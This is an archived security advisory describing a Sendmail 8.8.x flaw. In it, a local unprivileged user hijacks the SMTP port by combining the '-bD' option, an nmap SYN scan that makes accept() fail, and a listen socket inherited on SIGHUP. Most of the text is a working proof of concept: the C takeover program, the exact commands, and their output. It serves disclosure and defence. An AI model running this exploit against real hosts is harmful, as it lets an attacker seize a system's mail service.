COMMAND
Sendmail
SYSTEMS AFFECTED
Sendmail 8.8.x
PROBLEM
Michal Zalewski posted following. Many administrators still uses
Sendmail 8.8.x (usually 8.8.8) as more 'stable and secure'
release, believing there are no major bugs in it. Unfortunately,
there are some bugs fixed silently till 8.9.3 release - and, just
like in other cases, never mentioned in CHANGES nor in security
advisories. Major bug is conjunction of three improper things in
Sendmail 8.8.x:
- Sendmail 8.8.8 (fixed in 8.9.3, no info about other releases)
won't allow '-bd' parameter (run as daemon) if launched by
luser. But '-bD' parameter (run as daemon, but in foreground)
works perfectly. This has been fixed without any info in
development history file.
- Sendmail 8.8.8 (fixed in 8.9.1, mentioned in history, as exploit
has been published on BUGTRAQ) has minor problem on Linux 2.0.xx
platforms - if accept() fails, it will close listen sockets, log
error and sleep for 5 seconds. Easiest way to cause this
behaviour:
attacker# nmap -sS -P0 -p 25 destination_host
As it has no serious implications for site security, probably a
lot of people didn't even thought about upgrading Sendmail due
to this bug.
- there's unpublished, and theoretically harmless bug - when
Sendmail daemon receives HUP, it does execve(argv[0],...) to
restart itself. Unfortunately, 4th file descriptor (listen
socket) isn't closed before execve.
What can we do with these bugs together? Look:
victim$ cd /tmp
victim$ cat >test.c <<EOF
#include <netinet/in.h>
#include <fcntl.h>
#define SERV_FD 4
main() {
struct sockaddr_in saddr;
int csock,i=sizeof(saddr);
while (1) {
while ((csock=accept(SERV_FD,&saddr,&i))<0);
if (!fork()) {
dup2(csock,0);
dup2(csock,1);
dup2(csock,2);
printf("220 Takeover ESMTP mail service - road closed.\n");
fflush(0);
sleep(1);
shutdown(csock,2);
close(csock);
exit(0);
}
}
}
EOF
victim$ gcc test.c -o test
Now, we have only 5sec interval to execute two following commands,
so be hurry (probably you'll have to prepare and test it... or to
write some kind of script...
attacker# nmap -p 25 -sS -P0 -n victim
Zoink! With lightspeed, we should enter the following on victim
machine:
victim$ doexec /usr/sbin/sendmail /tmp/test -bD
Note: doexec is handful utility shipped with RH to set arbitrary
argv[0] of programs. Source for this proggy seems to be similar
to:
main(int argc, char* argv[]) { return execvp(argv[0],&argv[1]); }
If you'll see 'Address already in use', you're probably too slow.
Let's switch to another tty and see what have we here (should be
our foreground daemon, while old, background daemon won't be able
to bind() to port 25 anymore):
victim$ nc 127.0.0.1 25
220 Marchew ESMTP Mail Service at nimue.ids.pl ready.
quit
221 nimue.ids.pl closing connection
Hmm, what about sending SIGHUP to our foreground daemon... It will
execute /tmp/test instead of itself. Nothing dangerous, as extra
privledges are dropped... But we'll inherit descriptor to listen
socket!
victim$ killall -HUP sendmail
What happened? Hmmm....
victim$ nc 127.0.0.1 25
220 Takeover ESMTP mail service - road closed.
victim$
SOLUTION
As noted, in 8.9.3 this bug is theoretically harmless. It will be
fixed in 8.10.0.Beta7 and future versions.